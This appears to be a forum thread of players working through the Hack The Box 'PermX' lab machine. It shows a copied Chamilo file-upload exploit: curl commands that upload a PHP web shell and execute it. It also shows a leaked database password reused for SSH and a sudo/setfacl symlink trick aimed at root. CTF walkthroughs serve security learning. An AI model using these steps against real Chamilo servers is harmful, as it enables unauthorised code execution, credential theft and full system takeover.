[trevor69000]

https://app.hackthebox.com/machines/613 
Lets go

[peterpeter]

https://starlabs.sg/advisories/23/23-3368/
Dont work, brute force user ¿?

[trevor69000]

http://lms.permx.htb/app/config/parameters.yml.dist

parameters:     database_driver: pdo_mysql     database_host: 127.0.0.1     database_port: ~     database_name: chamilo111     database_user: root     database_password: root     mailer_transport: smtp     mailer_host: 127.0.0.1     mailer_user: ~     mailer_password: ~     # A secret key that's used to generate certain security-related tokens     secret: ThisTokenIsNotSoSecretChangeIt     password_encryption: sha1     # Activation for multi-url access     multiple_access_urls: false     # Deny the elimination of users     deny_delete_users: false     installed: ~     password_encryption: sha1     sp_bower_bin: '/usr/bin/bower'     url_append: ''     sonata_media.cdn.host: /uploads/media     # If you installed Chamilo in http://localhost/chamilo_master     # you need to setup like this:     # url_append: '/chamilo_master/web/'     # sonata_media.cdn.host: /chamilo_master/web/uploads/media     sonata_page.varnish.command: 'if [ ! -r "/etc/varnish/secret" ]; then echo "VALID ERROR :/"; else varnishadm -S /etc/varnish/secret -T 127.0.0.1:6082 {{ COMMAND }} "{{ EXPRESSION }}"; fi;'     locales: [en, fr, es, de]

[osamy7593]

http://lms.permx.htb/app/config/parameters.yml.dist

parameters:     database_driver: pdo_mysql     database_host: 127.0.0.1     database_port: ~     database_name: chamilo111     database_user: root     database_password: root     mailer_transport: smtp     mailer_host: 127.0.0.1     mailer_user: ~     mailer_password: ~     # A secret key that's used to generate certain security-related tokens     secret: ThisTokenIsNotSoSecretChangeIt     password_encryption: sha1     # Activation for multi-url access     multiple_access_urls: false     # Deny the elimination of users     deny_delete_users: false     installed: ~     password_encryption: sha1     sp_bower_bin: '/usr/bin/bower'     url_append: ''     sonata_media.cdn.host: /uploads/media     # If you installed Chamilo in http://localhost/chamilo_master     # you need to setup like this:     # url_append: '/chamilo_master/web/'     # sonata_media.cdn.host: /chamilo_master/web/uploads/media     sonata_page.varnish.command: 'if [ ! -r "/etc/varnish/secret" ]; then echo "VALID ERROR :/"; else varnishadm -S /etc/varnish/secret -T 127.0.0.1:6082 {{ COMMAND }} "{{ EXPRESSION }}"; fi;'     locales: [en, fr, es, de]

what that means

[osamy7593]

https://starlabs.sg/advisories/23/23-4220/

$ echo '<?php system("id"); ?>' > rce.php $ curl -F 'bigUploadFile=@rce.php' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported' The file has successfully been uploaded. $ curl 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rce.php' uid=33(www-data) gid=33(www-data) groups=33(www-data)

bro how can u know that the parameter is action?

[osamy7593]

bro how can u know that the parameter is action?

from the article i linked

its literally just a copy paste exploit i didnt change anything

$ cat /var/www/chamilo/app/config/configuration.php ... // Database connection settings. $_configuration['db_host'] = 'localhost'; $_configuration['db_port'] = '3306'; $_configuration['main_database'] = 'chamilo'; $_configuration['db_user'] = 'chamilo'; $_configuration['db_password'] = '03F6lY3uXAP2bkW8'; // Enable access to database management for platform admins. $_configuration['db_manager_enabled'] = false; ...

ssh in as mtz with that password to get user.txt

great man

[ritualist]

The sudo command seems like the obvious next step.


I tried creating a symlink

ln -s /root/root.txt root.txt

and then

sudo /opt/acl.sh mtz rwx /home/mtz/root.txt

But i get "Operation not permitted".

The root.txt gets regularly cleared so might be the right direction.

[osamy7593]

why?

if [ ! -f "$target" ]; then
/usr/bin/echo "Target must be a file."
exit 1
fi

/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"
mtz@permx:~$ sudo /opt/acl.sh mtz r /home/root/root.txt
sudo /opt/acl.sh mtz r /home/root/root.txt
Access denied.
mtz@permx:~$

[osamy7593]

it tells the file is not writable

[Abdo000]

mtz@permx:~$ ln -s /root/root.txt root1.txt
mtz@permx:~$ sudo /opt/acl.sh mtz rwx /home/mtz/root1.txt
setfacl: /home/mtz/root1.txt: Operation not permitted


why ??

just do it within 8 seconds then it'll work